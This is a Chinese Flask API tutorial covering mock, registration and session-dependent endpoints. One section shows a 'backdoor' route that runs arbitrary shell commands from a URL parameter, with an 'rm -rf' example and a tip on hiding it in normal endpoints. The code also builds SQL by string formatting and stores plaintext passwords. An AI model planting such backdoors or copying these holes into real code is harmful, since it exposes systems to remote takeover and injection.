接口开发
一、开发接口的作用
1、在别的接口没有开发完成的时候可以模拟一些接口以便测试已经开发完成的接口,例如假的支付接口,模拟支付成功、支付失败。
2、了解接口是如何实现的:数据交互、数据返回
3、开发给别人查看数据,避免其他人直接操作数据库
二、接口开发的步骤
1、实例化server
2、装饰器下面的函数变为一个接口
3、启动服务
三、开发一个简单的接口
1 import flask,json 2 server = flask.Flask(__name__) # 实例化server,把当前这个python文件当作一个服务,__name__代表当前这个python文件 3 @server.route('/index',methods=['get']) # 'index'是接口路径,methods不写,则默认get请求 4 # 装饰器,下面的函数变为一个接口 5 def index(): 6 res = {'msg':'这是我开发的第一个接口','msg_code':'0000'} 7 return json.dumps(res,ensure_ascii=False) 8 # json.dumps 序列化时对中文默认使用的ascii编码.想输出真正的中文需要指定ensure_ascii=False 9 10 server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务 11 # debug=True,改了代码后,不用重启,它会自动重启 12 # 'host='0.0.0.0'别人可以通过IP访问
运行这段代码,打开浏览器,输入http://127.0.0.1:8888/index,就可以看到如下运行结果:
四、开发一个注册接口
1 import flask,json 2 server = flask.Flask(__name__) 3 @server.route('/reg',methods=['post']) 4 def reg(): 5 username =flask.request.values.get('username') 6 pwd = flask.request.values.get('pwd') 7 if username and pwd: 8 sql = 'select * from my_user where username = "%s";'%username 9 if my_db(sql): 10 res = {'msg':'用户已存在','msg_code':2001} 11 else: 12 insert_sql = 'insert into my_user(username,passwd,is_admin) values ("%s","%s",0);'%(username,pwd) 13 my_db(insert_sql) 14 res = {'msg':'注册成功','msg_code':0000} 15 else: 16 res = {'msg':'必填字段未填,请查看接口文档!','msg_code':1001} 17 return json.dumps(res,ensure_ascii=False) 18 19 server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务 20 # debug=True,改了代码后,不用重启,它会自动重启 21 # 'host='0.0.0.0'别人可以通过IP访问
my_db()为另外封装的函数,应放在接口上面,具体代码如下:
1 def my_db(sql): 2 import pymysql 3 coon = pymysql.connect( 4 host='192.168.1.112', user='test', passwd='111111', 5 port=3306, db='test', charset='utf8') 6 cur = coon.cursor() #建立游标 7 cur.execute(sql)#执行sql 8 if sql.strip()[:6].upper()=='SELECT': 9 res = cur.fetchall() 10 else: 11 coon.commit() 12 res = 'ok' 13 cur.close() 14 coon.close() 15 return res
使用postman测试结果如下:
五、后门接口
1 import os 2 @server.route('/error',methods=['get']) 3 def cmd(): 4 cmd = flask.request.values.get('cmd') # 接口入参 5 res = os.popen(cmd) # 执行用户命令 6 return res.read() # 返回执行结果 7 # http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件 8 # 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口 9 # 默认可以不传,一但传了再res = os.popen(cmd) 10 server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务 11 # debug=True,改了代码后,不用重启,它会自动重启 12 # 'host='0.0.0.0'别人可以通过IP访问
一个接口文件中可以包含多个接口,只要接口路径不一致即可。但是server.run()一定要放到所有接口最底下,否则,在server.run()下面的接口是不会被运行的。
有依赖关系的接口开发
一、接口需求
1、登录接口
(1)登录成功后将session信息存入redis数据库并设置失效时间为600秒
(2)构造返回结果的对象flask.make_response()
(3)产生cookie,失效时间同样设定为600秒
2、发帖接口
(1)根据登录接口成功写入的cookie来判断用户是否登录
(2)判断用户传过来的session和redis数据库中存入的session是否一致
(3)如果一致的话则进行发帖操作
二、代码实现
1 import flask,time,json 2 from lib.tools import my_md5,op_redis 3 server = flask.Flask(__name__) 4 5 @server.route('/login') 6 def login(): 7 username = flask.request.values.get('username') 8 pwd = flask.request.values.get('pwd') 9 if username == 'luolei' and pwd == '123456': 10 session_id = my_md5(username+time.strftime('%Y%m%d%H%M%S')) 11 key = 'session:%s'%username 12 op_redis(key,session_id,600) 13 res = {'sessionid':session_id,'error_code':0,'msg':'登录成功', 14 'login_time':time.strftime('%Y%m%d%H%M%S')}#给用户返回的信息 15 json_res = json.dumps(res,ensure_ascii=False)#返回结果转成json 16 res = flask.make_response(json_res)#构造返回结果的对象 17 res.set_cookie(key,session_id,600)#600是cookie的失效时间 18 return res 19 20 # 有依赖关系的接口 21 # 根据上面登录成功写入的cookie来判断用户是否登录,然后进行发帖操作 22 @server.route('/posts') 23 def posts(): 24 username = '' 25 session = '' # 定义这两个变量是为了在没有传cookie的时候用的 26 cookies = flask.request.cookies # 获取所有的cookie 27 for key,value in cookies.items(): 28 if key.startswith('session:'): # 判断cookie是否以session开头 29 username = key 30 session = value # 调用接口的时候用户传过来的session,从cookie中获取到的 31 redis_session = op_redis(username) # 从redis中获取到的cookie 32 if redis_session == session: # 判断用户传过来的session和redis里面的session是否一样 33 title = flask.request.values.get('title') 34 content = flask.request.values.get('content') 35 article_key = 'article_key:%s'%title 36 op_redis(article_key,content) # 把文章写入redis 37 res = {'msg':'文章发表成功','code':0000} 38 else: 39 res = {'msg':'用户未登录','code':2001} 40 return json.dumps(res,ensure_ascii=False)
三、项目添加环境变量
1 import sys,os 2 os.path.abspath(__file__) # 获取到当前文件的绝对路径 3 os.path.dirname(__file__) # 获取父目录,获取它的上一级目录 4 BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # 获取到当前程序的主目录 5 sys.path.insert(0,BASE_PATH) # 将程序主目录加入python环境变量